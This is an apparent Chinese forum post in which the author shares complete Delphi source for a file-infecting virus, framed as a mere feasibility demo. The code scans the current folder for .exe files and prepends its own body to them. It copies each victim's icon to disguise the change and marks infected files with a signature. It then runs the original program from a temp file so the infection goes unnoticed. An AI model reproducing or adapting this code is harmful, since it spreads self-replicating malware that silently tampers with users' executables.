我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:)
Code here:
//headerprj.dpr
program headerprj;
uses
Windows,Classes,SysUtils,Graphics,ShellAPI;
const
HEADERSIZE=78336;
ICONOFFSET=$11EB8;
INFECTFLAG='Infected By SOJ';
ID=$66666666;
{$R *.RES}
var
tmpFile:string;
si:STARTUPINFO;
pi:PROCESS_INFORMATION;
sr:TSearchRec;
Counter:Integer;
//routines
procedure CopyStream(Src:TStream;sStartPos:Integer;
Dst:TStream;dStartPos:Integer;Count:Integer);
var
sCurPos,dCurPos:Integer;
begin
sCurPos:=Src.Position;
dCurPos:=Dst.Position;
src.Seek(sStartPos,0);
dst.Seek(dStartPos,0);
dst.CopyFrom(src,Count);
src.Seek(sCurPos,0);
dst.Seek(dCurPos,0);
end;{CopyStream}
function Getmyname:string;
var
cmdline:String;
myname:Array [0..255] of Char;
i,j:integer;
begin
i:=1;j:=0;
cmdline:=GetCommandLine;
while cmdline[i]<>chr(0) do
begin
if cmdline[i]<>'"' then
begin
myname[j]:=cmdline[i];
inc(j);
end;
inc(i);
end;
myname[j-1]:=chr(0);
Result:=strpas(@myname);
end;{Getmyname}
function GetTempFullName:String;
var
tmpPath:Array[1..256]of Char;
tmpname:Array[1..256]of Char;
begin
GetTempPath(256,@tmpPath);
GetTempFileName(@tmpPath,'PQR',0,@tmpName);
Result:=StrPas(@tmpName);
end;{GetTempFullName}
procedure ExtractFile(filename:string);
var
sStream,dStream:TFileStream;
begin
sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);
dStream:=TFileStream.Create(filename,fmCreate);
sStream.Seek(HEADERSIZE,0);
dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
sStream.Free;
dStream.Free;
end;
procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);
begin
si.cb := sizeof(si);
si.lpReserved := nil;
si.lpDesktop := nil;
si.lpTitle := nil;
si.dwFlags := STARTF_USESHOWWINDOW;
si.wShowWindow := state;
si.cbReserved2 := 0;
si.lpReserved2 := nil;
end;
function InfectFile(Filename:TFilename):Boolean;
var
hdrStream,srcStream:TFileStream;
icoStream,dstStream:TMemoryStream;
iID:Longint;
aIcon:TIcon;
begin
try
if Filename='headerprj.exe' then exit;
srcStream:=TFileStream.Create(Filename,fmOpenRead);
srcStream.Seek(-4,2);
srcStream.Read(iID,4);
if (iID=ID) or (srcStream.Size >1000000)then
begin
srcStream.Free;
Result:=False;
exit; //如果感染过了则退出
end;
srcStream.Free;
try
icoStream:=TMemoryStream.Create;
aIcon:=TIcon.Create;
aIcon.ReleaseHandle;
aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标
aIcon.SaveToStream(icoStream);
aIcon.Free;
srcStream:=TFileStream.Create(FileName,fmOpenRead);
hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件
dstStream:=TMemoryStream.Create;
CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);
CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);
CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);
dstStream.Seek(0,2);
iID:=$66666666;
dstStream.Write(iID,4);
finally
icoStream.Free;
srcStream.Free;
hdrStream.Free;
dstStream.SaveToFile(Filename);
dstStream.Free;
Result:=True;
end;
except;
end;
end;
//主程序开始
begin
Counter:=2;
if FindFirst('*.exe',faAnyFile,sr)=0 then
begin
InfectFile(sr.Name);
while (FindNext(sr)=0) and (Counter>0) do
begin
if InfectFile(sr.Name) then Dec(Counter);
end;
end;
FindClose(sr);
if ExtractFileName(Getmyname)='headerprj.exe' then exit;
tmpFile:=GetTempFullname;
ExtractFile(tmpFile);
fillstartupinfo(si,SW_SHOWDEFAULT);
CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);
end.
ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了